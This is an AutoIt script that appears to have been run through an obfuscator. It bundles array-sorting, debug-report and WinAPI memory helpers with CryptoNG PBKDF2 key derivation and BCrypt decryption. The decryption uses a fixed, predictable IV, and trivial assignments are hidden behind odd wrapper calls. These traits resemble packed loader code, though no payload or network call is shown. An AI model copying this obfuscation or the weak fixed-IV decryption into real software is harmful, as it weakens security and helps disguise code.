#Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_UseX64=y #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** #pragma compile(inputboxres, true) Global Const $OPT_MATCHSTART = 1 Global Const $STR_STRIPLEADING = 1 Global Const $STR_STRIPTRAILING = 2 Global Const $STR_STRIPSPACES = 4 Global Const $SB_UTF8 = 4 Global Const $_ARRAYCONSTANT_SORTINFOSIZE = 11 Global $__g_aArrayDisplay_SortInfo[$_ARRAYCONSTANT_SORTINFOSIZE] Global Const $_ARRAYCONSTANT_tagLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & _ "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" #Au3Stripper_Ignore_Funcs=__ArrayDisplay_SortCallBack Func __ArrayDisplay_SortCallBack($nItem1,$nItem2,$hWnd) If $__g_aArrayDisplay_SortInfo[3]=$__g_aArrayDisplay_SortInfo[4] Then If Not $__g_aArrayDisplay_SortInfo[7] Then $__g_aArrayDisplay_SortInfo[5]*=-1 _ArrayVarIsNumber($__g_aArrayDisplay_SortInfo,7,1) EndIf Else _ArrayVarIsNumber($__g_aArrayDisplay_SortInfo,7,1) EndIf _ArrayVarIsArrayVar($__g_aArrayDisplay_SortInfo,6,$__g_aArrayDisplay_SortInfo,3) Local $sVal1=__ArrayDisplay_GetItemText($hWnd,$nItem1,$__g_aArrayDisplay_SortInfo[ 3 ]) Local $sVal2=__ArrayDisplay_GetItemText($hWnd,$nItem2,$__g_aArrayDisplay_SortInfo[ 3 ]) If $__g_aArrayDisplay_SortInfo[8]= 1 Then If (StringIsFloat($sVal1) Or StringIsInt($sVal1)) Then $sVal1=Number($sVal1) If (StringIsFloat($sVal2) Or StringIsInt($sVal2)) Then $sVal2=Number($sVal2) EndIf Local $nResult If $__g_aArrayDisplay_SortInfo[8]< 2 Then $nResult= 0 If $sVal1<$sVal2 Then _VarIsNumber($nResult,-1) ElseIf $sVal1>$sVal2 Then _VarIsNumber($nResult,1) EndIf Else $nResult=DllCall('shlwapi.dll','int','StrCmpLogicalW','wstr',$sVal1,'wstr',$sVal2)[ 0 ] EndIf _VarIsArrayVar($nResult,$nResult,5) Return $nResult EndFunc Func __ArrayDisplay_GetItemText($hWnd,$iIndex,$iSubItem= 0) Local $tBuffer=DllStructCreate("wchar Text[4096]") Local $pBuffer=DllStructGetPtr($tBuffer) Local $tItem=DllStructCreate($_ARRAYCONSTANT_tagLVITEM) DllStructSetData($tItem,"SubItem",$iSubItem) DllStructSetData($tItem,"TextMax", 4096 ) DllStructSetData($tItem,"Text",$pBuffer) If IsHWnd($hWnd) Then DllCall("user32.dll","lresult","SendMessageW","hwnd",$hWnd,"uint", 0x1073 ,"wparam",$iIndex,"struct*",$tItem) Else Local $pItem=DllStructGetPtr($tItem) GUICtrlSendMsg($hWnd, 0x1073 ,$iIndex,$pItem) EndIf Return DllStructGetData($tBuffer,"Text") EndFunc Global Const $FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 Func _WinAPI_GetLastError(Const $_iCurrentError=@error, Const $_iCurrentExtended=@extended) Local $aResult=DllCall("kernel32.dll","dword","GetLastError") Return SetError($_iCurrentError,$_iCurrentExtended,$aResult[ 0 ]) EndFunc Global Const $__g_sReportWindowText_Debug = "Debug Window hidden text" Global $__g_sReportTitle_Debug = "AutoIt Debug Report" Global $__g_iReportType_Debug = 0 Global $__g_bReportWindowWaitClose_Debug = True Global $__g_bReportWindowClosed_Debug = True Global $__g_hReportEdit_Debug = 0 Global $__g_sReportCallBack_Debug Global $__g_bReportTimeStamp_Debug = False Func _DebugReport($sData,$bLastError= False,$bExit= False, Const $_iCurrentError=@error,$_iCurrentExtended=@extended) If $__g_iReportType_Debug<= 0 Or $__g_iReportType_Debug> 6 Then Return SetError($_iCurrentError,$_iCurrentExtended, 0 ) $_iCurrentExtended=__Debug_ReportWrite($sData,$bLastError) If $bExit Then Exit Return SetError($_iCurrentError,$_iCurrentExtended, 1 ) EndFunc Func __Debug_ReportClose() If $__g_iReportType_Debug= 1 Then WinSetOnTop($__g_sReportTitle_Debug,"", 1 ) _DebugReport('>>>>>> Please close the "Report Log Window" to exit <<<<<<<'&@CRLF) __Debug_ReportWindowWaitClose() ElseIf $__g_iReportType_Debug= 6 Then Execute($__g_sReportCallBack_Debug&")") EndIf $__g_iReportType_Debug= 0 EndFunc Func __Debug_ReportWindowWaitClose() If Not $__g_bReportWindowWaitClose_Debug Then Return 0 Local $nOld=Opt("WinDetectHiddenText",$OPT_MATCHSTART) Local $hWndReportWindow=WinGetHandle($__g_sReportTitle_Debug,$__g_sReportWindowText_Debug) Opt("WinDetectHiddenText",$nOld) $nOld=Opt('GUIOnEventMode', 0 ) Local Const $GUI_EVENT_CLOSE=-3 Local $aMsg While WinExists(HWnd($hWndReportWindow)) $aMsg=GUIGetMsg( 1 ) If $aMsg[ 1 ]=$hWndReportWindow And $aMsg[ 0 ]=$GUI_EVENT_CLOSE Then GUIDelete($hWndReportWindow) WEnd Opt('GUIOnEventMode',$nOld) $__g_hReportEdit_Debug= 0 $__g_bReportWindowWaitClose_Debug= True $__g_bReportWindowClosed_Debug= True EndFunc Func __Debug_ReportWrite($sData,$bLastError= False,$iCurEXT=@extended) Local $sError=@CRLF If $__g_bReportTimeStamp_Debug And ($sData<>"") Then $sData=@YEAR& _ "/"&@MON& _ "/"&@MDAY& _ " "&@HOUR& _ ":"&@MIN& _ ":"&@SEC& _ " "&$sData If $bLastError Then $iCurEXT=_WinAPI_GetLastError() Local Const $FORMAT_MESSAGE_FROM_SYSTEM= 0x1000 Local $aResult=DllCall("kernel32.dll","dword","FormatMessageW","dword",$FORMAT_MESSAGE_FROM_SYSTEM,"ptr", 0 ,"dword",$iCurEXT,"dword", 0 ,"wstr","","dword", 4096 ,"ptr", 0 ) $sError=" : "&$aResult[5] EndIf $sData&=$sError Local $bBlock=BlockInput( 1 ) BlockInput( 0 ) $sData=StringReplace($sData,"'","''") Execute($__g_sReportCallBack_Debug&"'"&$sData&"')") If Not $bBlock Then BlockInput( 1 ) Return $iCurEXT EndFunc Global Enum $ARRAYFILL_FORCE_DEFAULT , $ARRAYFILL_FORCE_SINGLEITEM , $ARRAYFILL_FORCE_INT , $ARRAYFILL_FORCE_NUMBER , $ARRAYFILL_FORCE_PTR , $ARRAYFILL_FORCE_HWND , $ARRAYFILL_FORCE_STRING , $ARRAYFILL_FORCE_BOOLEAN Global Enum $ARRAYUNIQUE_NOCOUNT , $ARRAYUNIQUE_COUNT Global Enum $ARRAYUNIQUE_AUTO , $ARRAYUNIQUE_FORCE32 , $ARRAYUNIQUE_FORCE64 , $ARRAYUNIQUE_MATCH , $ARRAYUNIQUE_DISTINCT Func __ArrayQuickSort1D(ByRef $aArray, Const ByRef $iStart, Const ByRef $iEnd) If $iEnd<=$iStart Then Return Local $vTmp If ($iEnd-$iStart)< 15 Then Local $vCur For $i=$iStart+ 1 To $iEnd _VarIsArrayVar($vTmp,$aArray,$i) If IsNumber($vTmp) Then For $j=$i- 1 To $iStart Step -1 _VarIsArrayVar($vCur,$aArray,$j) If ($vTmp>=$vCur And IsNumber($vCur)) Or ( Not IsNumber($vCur) And StringCompare($vTmp,$vCur)>= 0 ) Then ExitLoop _ArrayVarIsVar($aArray,$j+ 1,$vCur) Next Else For $j=$i- 1 To $iStart Step -1 If (StringCompare($vTmp,$aArray[$j])>= 0 ) Then ExitLoop _ArrayVarIsArrayVar($aArray,$j+ 1,$aArray,$j) Next EndIf _ArrayVarIsVar($aArray,$j+ 1,$vTmp) Next Return EndIf Local $L=$iStart,$r=$iEnd,$vPivot=$aArray[Int(($iStart+$iEnd)/ 2 )],$bNum=IsNumber($vPivot) Do If $bNum Then While ($aArray[$L]<$vPivot And IsNumber($aArray[$L])) Or ( Not IsNumber($aArray[$L]) And StringCompare($aArray[$L],$vPivot)< 0 ) $L+= 1 WEnd While ($aArray[$r]>$vPivot And IsNumber($aArray[$r])) Or ( Not IsNumber($aArray[$r]) And StringCompare($aArray[$r],$vPivot)> 0 ) $r-= 1 WEnd Else While (StringCompare($aArray[$L],$vPivot)< 0 ) $L+= 1 WEnd While (StringCompare($aArray[$r],$vPivot)> 0 ) $r-= 1 WEnd EndIf If $L<=$r Then _VarIsArrayVar($vTmp,$aArray,$L) _ArrayVarIsArrayVar($aArray,$L,$aArray,$r) _ArrayVarIsVar($aArray,$r,$vTmp) $L+= 1 $r-= 1 EndIf Until $L>$r __ArrayQuickSort1D($aArray,$iStart,$r) __ArrayQuickSort1D($aArray,$L,$iEnd) EndFunc Func __ArrayQuickSort2D(ByRef $aArray, Const ByRef $iStep, Const ByRef $iStart, Const ByRef $iEnd, Const ByRef $iSubItem, Const ByRef $iSubMax) If $iEnd<=$iStart Then Return Local $vTmp,$L=$iStart,$r=$iEnd,$vPivot=$aArray[Int(($iStart+$iEnd)/ 2 )][$iSubItem],$bNum=IsNumber($vPivot) Do If $bNum Then While ($iStep*($aArray[$L][$iSubItem]-$vPivot)< 0 And IsNumber($aArray[$L][$iSubItem])) Or ( Not IsNumber($aArray[$L][$iSubItem]) And $iStep*StringCompare($aArray[$L][$iSubItem],$vPivot)< 0 ) $L+= 1 WEnd While ($iStep*($aArray[$r][$iSubItem]-$vPivot)> 0 And IsNumber($aArray[$r][$iSubItem])) Or ( Not IsNumber($aArray[$r][$iSubItem]) And $iStep*StringCompare($aArray[$r][$iSubItem],$vPivot)> 0 ) $r-= 1 WEnd Else While ($iStep*StringCompare($aArray[$L][$iSubItem],$vPivot)< 0 ) $L+= 1 WEnd While ($iStep*StringCompare($aArray[$r][$iSubItem],$vPivot)> 0 ) $r-= 1 WEnd EndIf If $L<=$r Then For $i= 0 To $iSubMax $vTmp=$aArray[$L][$i] $aArray[$L][$i]=$aArray[$r][$i] $aArray[$r][$i]=$vTmp Next $L+= 1 $r-= 1 EndIf Until $L>$r __ArrayQuickSort2D($aArray,$iStep,$iStart,$r,$iSubItem,$iSubMax) __ArrayQuickSort2D($aArray,$iStep,$L,$iEnd,$iSubItem,$iSubMax) EndFunc Func __ArrayDualPivotSort(ByRef $aArray,$iPivot_Left,$iPivot_Right,$bLeftMost= True) If $iPivot_Left>$iPivot_Right Then Return Local $iLength=$iPivot_Right-$iPivot_Left+ 1 Local $i,$j,$k,$iAi,$iAk,$iA1,$iA2,$iLast If $iLength< 45 Then If $bLeftMost Then _VarIsVar($i,$iPivot_Left) While $i<$iPivot_Right _VarIsVar($j,$i) _VarIsArrayVar($iAi,$aArray,$i+ 1) While $iAi<$aArray[$j] _ArrayVarIsArrayVar($aArray,$j+ 1,$aArray,$j) $j-= 1 If $j+ 1 =$iPivot_Left Then ExitLoop WEnd _ArrayVarIsVar($aArray,$j+ 1,$iAi) $i+= 1 WEnd Else While 1 If $iPivot_Left>=$iPivot_Right Then Return 1 $iPivot_Left+= 1 If $aArray[$iPivot_Left]<$aArray[$iPivot_Left- 1] Then ExitLoop WEnd While 1 _VarIsVar($k,$iPivot_Left) $iPivot_Left+= 1 If $iPivot_Left>$iPivot_Right Then ExitLoop _VarIsArrayVar($iA1,$aArray,$k) _VarIsArrayVar($iA2,$aArray,$iPivot_Left) If $iA1<$iA2 Then _VarIsVar($iA2,$iA1) _VarIsArrayVar($iA1,$aArray,$iPivot_Left) EndIf $k-= 1 While $iA1<$aArray[$k] _ArrayVarIsArrayVar($aArray,$k+ 2,$aArray,$k) $k-= 1 WEnd _ArrayVarIsVar($aArray,$k+ 2,$iA1) While $iA2<$aArray[$k] _ArrayVarIsArrayVar($aArray,$k+ 1,$aArray,$k) $k-= 1 WEnd _ArrayVarIsVar($aArray,$k+ 1,$iA2) $iPivot_Left+= 1 WEnd _VarIsArrayVar($iLast,$aArray,$iPivot_Right) $iPivot_Right-= 1 While $iLast<$aArray[$iPivot_Right] _ArrayVarIsArrayVar($aArray,$iPivot_Right+ 1,$aArray,$iPivot_Right) $iPivot_Right-= 1 WEnd _ArrayVarIsVar($aArray,$iPivot_Right+ 1,$iLast) EndIf Return 1 EndIf Local $iSeventh=BitShift($iLength, 3 )+BitShift($iLength, 6 )+ 1 Local $iE1,$iE2,$iE3,$iE4,$iE5,$t $iE3=Ceiling(($iPivot_Left+$iPivot_Right)/ 2 ) $iE2=$iE3-$iSeventh $iE1=$iE2-$iSeventh $iE4=$iE3+$iSeventh $iE5=$iE4+$iSeventh If $aArray[$iE2]<$aArray[$iE1] Then _VarIsArrayVar($t,$aArray,$iE2) _ArrayVarIsArrayVar($aArray,$iE2,$aArray,$iE1) _ArrayVarIsVar($aArray,$iE1,$t) EndIf If $aArray[$iE3]<$aArray[$iE2] Then _VarIsArrayVar($t,$aArray,$iE3) _ArrayVarIsArrayVar($aArray,$iE3,$aArray,$iE2) _ArrayVarIsVar($aArray,$iE2,$t) If $t<$aArray[$iE1] Then _ArrayVarIsArrayVar($aArray,$iE2,$aArray,$iE1) _ArrayVarIsVar($aArray,$iE1,$t) EndIf EndIf If $aArray[$iE4]<$aArray[$iE3] Then _VarIsArrayVar($t,$aArray,$iE4) _ArrayVarIsArrayVar($aArray,$iE4,$aArray,$iE3) _ArrayVarIsVar($aArray,$iE3,$t) If $t<$aArray[$iE2] Then _ArrayVarIsArrayVar($aArray,$iE3,$aArray,$iE2) _ArrayVarIsVar($aArray,$iE2,$t) If $t<$aArray[$iE1] Then _ArrayVarIsArrayVar($aArray,$iE2,$aArray,$iE1) _ArrayVarIsVar($aArray,$iE1,$t) EndIf EndIf EndIf If $aArray[$iE5]<$aArray[$iE4] Then _VarIsArrayVar($t,$aArray,$iE5) _ArrayVarIsArrayVar($aArray,$iE5,$aArray,$iE4) _ArrayVarIsVar($aArray,$iE4,$t) If $t<$aArray[$iE3] Then _ArrayVarIsArrayVar($aArray,$iE4,$aArray,$iE3) _ArrayVarIsVar($aArray,$iE3,$t) If $t<$aArray[$iE2] Then _ArrayVarIsArrayVar($aArray,$iE3,$aArray,$iE2) _ArrayVarIsVar($aArray,$iE2,$t) If $t<$aArray[$iE1] Then _ArrayVarIsArrayVar($aArray,$iE2,$aArray,$iE1) _ArrayVarIsVar($aArray,$iE1,$t) EndIf EndIf EndIf EndIf Local $iLess=$iPivot_Left Local $iGreater=$iPivot_Right If (($aArray[$iE1]<>$aArray[$iE2]) And ($aArray[$iE2]<>$aArray[$iE3]) And ($aArray[$iE3]<>$aArray[$iE4]) And ($aArray[$iE4]<>$aArray[$iE5])) Then Local $iPivot_1=$aArray[$iE2] Local $iPivot_2=$aArray[$iE4] _ArrayVarIsArrayVar($aArray,$iE2,$aArray,$iPivot_Left) _ArrayVarIsArrayVar($aArray,$iE4,$aArray,$iPivot_Right) Do $iLess+= 1 Until $aArray[$iLess]>=$iPivot_1 Do $iGreater-= 1 Until $aArray[$iGreater]<=$iPivot_2 _VarIsVar($k,$iLess) While $k<=$iGreater _VarIsArrayVar($iAk,$aArray,$k) If $iAk<$iPivot_1 Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsVar($aArray,$iLess,$iAk) $iLess+= 1 ElseIf $iAk>$iPivot_2 Then While $aArray[$iGreater]>$iPivot_2 $iGreater-= 1 If $iGreater+ 1 =$k Then ExitLoop 2 WEnd If $aArray[$iGreater]<$iPivot_1 Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsArrayVar($aArray,$iLess,$aArray,$iGreater) $iLess+= 1 Else _ArrayVarIsArrayVar($aArray,$k,$aArray,$iGreater) EndIf _ArrayVarIsVar($aArray,$iGreater,$iAk) $iGreater-= 1 EndIf $k+= 1 WEnd _ArrayVarIsArrayVar($aArray,$iPivot_Left,$aArray,$iLess- 1) _ArrayVarIsVar($aArray,$iLess- 1,$iPivot_1) _ArrayVarIsArrayVar($aArray,$iPivot_Right,$aArray,$iGreater+ 1) _ArrayVarIsVar($aArray,$iGreater+ 1,$iPivot_2) __ArrayDualPivotSort($aArray,$iPivot_Left,$iLess- 2 , True ) __ArrayDualPivotSort($aArray,$iGreater+ 2 ,$iPivot_Right, False ) If ($iLess<$iE1) And ($iE5<$iGreater) Then While $aArray[$iLess]=$iPivot_1 $iLess+= 1 WEnd While $aArray[$iGreater]=$iPivot_2 $iGreater-= 1 WEnd _VarIsVar($k,$iLess) While $k<=$iGreater _VarIsArrayVar($iAk,$aArray,$k) If $iAk=$iPivot_1 Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsVar($aArray,$iLess,$iAk) $iLess+= 1 ElseIf $iAk=$iPivot_2 Then While $aArray[$iGreater]=$iPivot_2 $iGreater-= 1 If $iGreater+ 1 =$k Then ExitLoop 2 WEnd If $aArray[$iGreater]=$iPivot_1 Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsVar($aArray,$iLess,$iPivot_1) $iLess+= 1 Else _ArrayVarIsArrayVar($aArray,$k,$aArray,$iGreater) EndIf _ArrayVarIsVar($aArray,$iGreater,$iAk) $iGreater-= 1 EndIf $k+= 1 WEnd EndIf __ArrayDualPivotSort($aArray,$iLess,$iGreater, False ) Else Local $iPivot=$aArray[$iE3] _VarIsVar($k,$iLess) While $k<=$iGreater If $aArray[$k]=$iPivot Then $k+= 1 ContinueLoop EndIf _VarIsArrayVar($iAk,$aArray,$k) If $iAk<$iPivot Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsVar($aArray,$iLess,$iAk) $iLess+= 1 Else While $aArray[$iGreater]>$iPivot $iGreater-= 1 WEnd If $aArray[$iGreater]<$iPivot Then _ArrayVarIsArrayVar($aArray,$k,$aArray,$iLess) _ArrayVarIsArrayVar($aArray,$iLess,$aArray,$iGreater) $iLess+= 1 Else _ArrayVarIsVar($aArray,$k,$iPivot) EndIf _ArrayVarIsVar($aArray,$iGreater,$iAk) $iGreater-= 1 EndIf $k+= 1 WEnd __ArrayDualPivotSort($aArray,$iPivot_Left,$iLess- 1 , True ) __ArrayDualPivotSort($aArray,$iGreater+ 1 ,$iPivot_Right, False ) EndIf EndFunc Func __Array_ExeterInternal(ByRef $aArray,$iStart,$iSize,$sDelimiter, ByRef $aIdx, ByRef $aResult, ByRef $iCount) If $iStart==$iSize- 1 Then For $i= 0 To $iSize- 1 $aResult[$iCount]&=$aArray[$aIdx[$i]]&$sDelimiter Next If $sDelimiter<>"" Then $aResult[$iCount]=StringTrimRight($aResult[$iCount],StringLen($sDelimiter)) $iCount+= 1 Else Local $iTemp For $i=$iStart To $iSize- 1 _VarIsArrayVar($iTemp,$aIdx,$i) _ArrayVarIsArrayVar($aIdx,$i,$aIdx,$iStart) _ArrayVarIsVar($aIdx,$iStart,$iTemp) __Array_ExeterInternal($aArray,$iStart+ 1 ,$iSize,$sDelimiter,$aIdx,$aResult,$iCount) _ArrayVarIsArrayVar($aIdx,$iStart,$aIdx,$i) _ArrayVarIsVar($aIdx,$i,$iTemp) Next EndIf EndFunc Func _WinAPI_IsBadReadPtr($pAddress,$iLength) Local $aRet=DllCall('kernel32.dll','bool','IsBadReadPtr','struct*',$pAddress,'uint_ptr',$iLength) If @error Then Return SetError(@error,@extended, False ) Return $aRet[0] EndFunc Func _WinAPI_IsBadWritePtr($pAddress,$iLength) Local $aRet=DllCall('kernel32.dll','bool','IsBadWritePtr','struct*',$pAddress,'uint_ptr',$iLength) If @error Then Return SetError(@error,@extended, False ) Return $aRet[0] EndFunc Func _WinAPI_MoveMemory($pDestination,$pSource,$iLength) If _WinAPI_IsBadReadPtr($pSource,$iLength) Then Return SetError( 10 ,@extended, 0 ) If _WinAPI_IsBadWritePtr($pDestination,$iLength) Then Return SetError( 11 ,@extended, 0 ) DllCall('ntdll.dll','none','RtlMoveMemory','struct*',$pDestination,'struct*',$pSource,'ulong_ptr',$iLength) If @error Then Return SetError(@error,@extended, 0 ) Return 1 EndFunc Func _WinAPI_CopyStruct($tStruct,$sStruct='') Local $iSize=DllStructGetSize($tStruct) If Not $iSize Then Return SetError( 1 , 0 , 0 ) Local $tResult If Not StringStripWS($sStruct,$STR_STRIPLEADING+$STR_STRIPTRAILING+$STR_STRIPSPACES) Then $tResult=DllStructCreate('byte['&$iSize&']') Else $tResult=DllStructCreate($sStruct) EndIf If DllStructGetSize($tResult)<$iSize Then Return SetError( 2 , 0 , 0 ) _WinAPI_MoveMemory($tResult,$tStruct,$iSize) Return $tResult EndFunc Global Enum $CNG_DSA_HASH_ALGORITHM_SHA1 , $CNG_DSA_HASH_ALGORITHM_SHA256 , $CNG_DSA_HASH_ALGORITHM_SHA512 Global Enum $CNG_BCRYPT_HASH_OPERATION_HASH_DATA , $CNG_BCRYPT_HASH_OPERATION_FINISH_HASH Global Enum $CNG_BCRYPT_OPERATION_TYPE_HASH Global Const $CNG_KEY_BIT_LENGTH_AES_192 = 192 Global Const $CNG_STATUS_SUCCESS = 0x00000000 Global Const $CNG_STATUS_INVALID_PARAMETER = 0xC000000D Global Const $CNG_STATUS_NO_MEMORY = 0xC0000017 Global Const $CNG_STATUS_BUFFER_TOO_SMALL = 0xC0000023 Global Const $CNG_STATUS_NOT_FOUND = 0xC0000225 Global Const $CNG_STATUS_INVALID_HANDLE = 0xC0000008 Global Const $CNG_STATUS_DATA_ERROR = 0xC000003E Global Const $CNG_STATUS_NOT_SUPPORTED = 0xC00000BB Global Const $CNG_BCRYPT_BLOCK_PADDING = 0x00000001 Global Const $CNG_BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008 Global Const $CNG_BCRYPT_AES_ALGORITHM = "AES" Global Const $CNG_BCRYPT_RC4_ALGORITHM = "RC4" Global Const $CNG_BCRYPT_SHA1_ALGORITHM = "SHA1" Global Const $CNG_BCRYPT_BLOCK_LENGTH = "BlockLength" Global Const $CNG_BCRYPT_CHAINING_MODE = "ChainingMode" Global Const $CNG_BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC" Global Const $CNG_BCRYPT_KEY_LENGTH = "KeyLength" Global $__gbDebugging = False Global $__ghBcryptDll = -1 Global $__gsLastErrorMessage = "" Func _CryptoNG_LastErrorMessage() Return $__gsLastErrorMessage EndFunc Func _CryptoNG_PBKDF2($sPassword,$vSalt,$iIterations,$iDKeyBitLength,$sHashAlgorithmId= Default,$sProvider= Default) Local $hAlgorithmProvider=-1 Local $xKey=Binary("") If Mod($iDKeyBitLength, 8 )<> 0 Then $__gsLastErrorMessage="Derived key length must be a multiple of 8." Return SetError(- 1 , 0 ,"") EndIf If $sPassword="" Then $__gsLastErrorMessage="Password cannot be blank." Return SetError(- 1 , 0 ,"") EndIf If Not ($iIterations> 0 ) Then $__gsLastErrorMessage="Number of iterations must be greater than 0." Return SetError(- 1 , 0 ,"") EndIf If $__ghBcryptDll=-1 Then __CryptoNG_Startup() If @error Then Return SetError( 1 ,@error,"") EndIf If $sHashAlgorithmId= Default Then _VarIsVar($sHashAlgorithmId,$CNG_BCRYPT_SHA1_ALGORITHM) If $sProvider= Default Then $sProvider="Microsoft Primitive Provider" $hAlgorithmProvider=__CryptoNG_BCryptOpenHashAlgorithmProvider($sHashAlgorithmId, True ,$sProvider) If @error Then Return SetError( 2 , 0 ,"") $xKey=__CryptoNG_BCryptDeriveKeyPBKDF2($hAlgorithmProvider,$sPassword,$vSalt,$iIterations,$iDKeyBitLength) If @error Then If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return SetError( 3 , 0 ,"") EndIf If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return $xKey EndFunc Func __CryptoNG_BcryptCloseAlgorithmProvider($hHandle) Local $iError= 0 DllCall($__ghBcryptDll,"int","BCryptCloseAlgorithmProvider","handle",$hHandle,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf Return True EndFunc Func __CryptoNG_BCryptDecrypt($sAlgorithmId,$xData,$hEncryptionKey,$bResultIsText= True) Local $tInputBuffer="",$tOutputBuffer="",$tIVBuffer="",$tByteBuffer="",$tUlong="" Local $iBlockLength= 0,$iStatusCode= 0,$iError= 0,$iOutputLength= 0 Local $aResult[0] Local $vDecryptedData="" Local $xIV=Binary("") $tByteBuffer=__CryptoNG_BCryptGetProperty($hEncryptionKey,$CNG_BCRYPT_KEY_LENGTH) If @error Then Return SetError( 1 , 0 ,"") $tUlong=_WinAPI_CopyStruct($tByteBuffer,"ulong value") If $sAlgorithmId<>$CNG_BCRYPT_RC4_ALGORITHM Then $tByteBuffer=__CryptoNG_BCryptGetProperty($hEncryptionKey,$CNG_BCRYPT_BLOCK_LENGTH) If @error Then Return SetError( 1 , 0 ,"") $tUlong=_WinAPI_CopyStruct($tByteBuffer,"ulong value") $iBlockLength=DllStructGetData($tUlong,"value") $xIV=Binary("") For $i= 0 To $iBlockLength- 1 $xIV&=Binary(Chr($i)) Next $tIVBuffer=DllStructCreate(StringFormat("byte data[%i]",$iBlockLength)) DllStructSetData($tIVBuffer,"data",$xIV) EndIf $tInputBuffer=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($xData))) DllStructSetData($tInputBuffer,"data",Binary($xData)) $aResult=DllCall($__ghBcryptDll,"int","BCryptDecrypt","handle",$hEncryptionKey,"struct*",$tInputBuffer,"ulong",DllStructGetSize($tInputBuffer),"ptr", Null ,"struct*",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( Null ):($tIVBuffer),"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):(DllStructGetSize($tIVBuffer)),"ptr", Null ,"ulong*", 0 ,"ulong*", Null ,"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):($CNG_BCRYPT_BLOCK_PADDING)) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,"") EndIf _VarIsArrayVar($iStatusCode,$aResult,0) _VarIsArrayVar($iOutputLength,$aResult,9) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,"") EndIf $tOutputBuffer=DllStructCreate(StringFormat("byte data[%i]",$iOutputLength)) $aResult=DllCall($__ghBcryptDll,"int","BCryptDecrypt","handle",$hEncryptionKey,"struct*",$tInputBuffer,"ulong",DllStructGetSize($tInputBuffer),"ptr", Null ,"struct*",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( Null ):($tIVBuffer),"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):(DllStructGetSize($tIVBuffer)),"struct*",$tOutputBuffer,"ulong",DllStructGetSize($tOutputBuffer),"ulong*", Null ,"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):($CNG_BCRYPT_BLOCK_PADDING)) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,"") EndIf _VarIsArrayVar($iStatusCode,$aResult,0) $vDecryptedData=BinaryMid(DllStructGetData($tOutputBuffer,"data"), 1 ,$aResult[ 9 ]) If $bResultIsText Then $vDecryptedData=BinaryToString($vDecryptedData,$SB_UTF8) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,"") EndIf Return $vDecryptedData EndFunc Func __CryptoNG_BCryptDeriveKeyPBKDF2($hAlgorithmProvider,$sPassword,$vSalt,$iIterations,$iKeyBitLength) Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $tPasswordBuffer="",$tSaltBuffer="",$tKeyBuffer="" Local $xKey=Binary(""),$xPassword=Binary(""),$xSalt=Binary("") $xPassword=StringToBinary($sPassword,$SB_UTF8) $tPasswordBuffer=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($xPassword))) DllStructSetData($tPasswordBuffer,"data",$xPassword) If IsString($vSalt) Then $xSalt=StringToBinary($vSalt,$SB_UTF8) Else $xSalt=Binary($vSalt) EndIf $tSaltBuffer=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($xSalt))) DllStructSetData($tSaltBuffer,"data",$xSalt) $tKeyBuffer=DllStructCreate(StringFormat("byte data[%i]",$iKeyBitLength/ 8 )) $aResult=DllCall($__ghBcryptDll,"int","BCryptDeriveKeyPBKDF2","handle",$hAlgorithmProvider,"struct*",$tPasswordBuffer,"ulong",DllStructGetSize($tPasswordBuffer),"struct*",$tSaltBuffer,"ulong",DllStructGetSize($tSaltBuffer),"uint64",$iIterations,"struct*",$tKeyBuffer,"ulong",DllStructGetSize($tKeyBuffer),"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return SetError( 1 ,$iError,"") EndIf _VarIsArrayVar($iStatusCode,$aResult,0) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,"") EndIf $xKey=DllStructGetData($tKeyBuffer,"data") Return $xKey EndFunc Func __CryptoNG_BcryptDestroyKey($hKey) Local $iError= 0 DllCall($__ghBcryptDll,"int","BCryptDestroyKey","handle",$hKey) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf Return True EndFunc 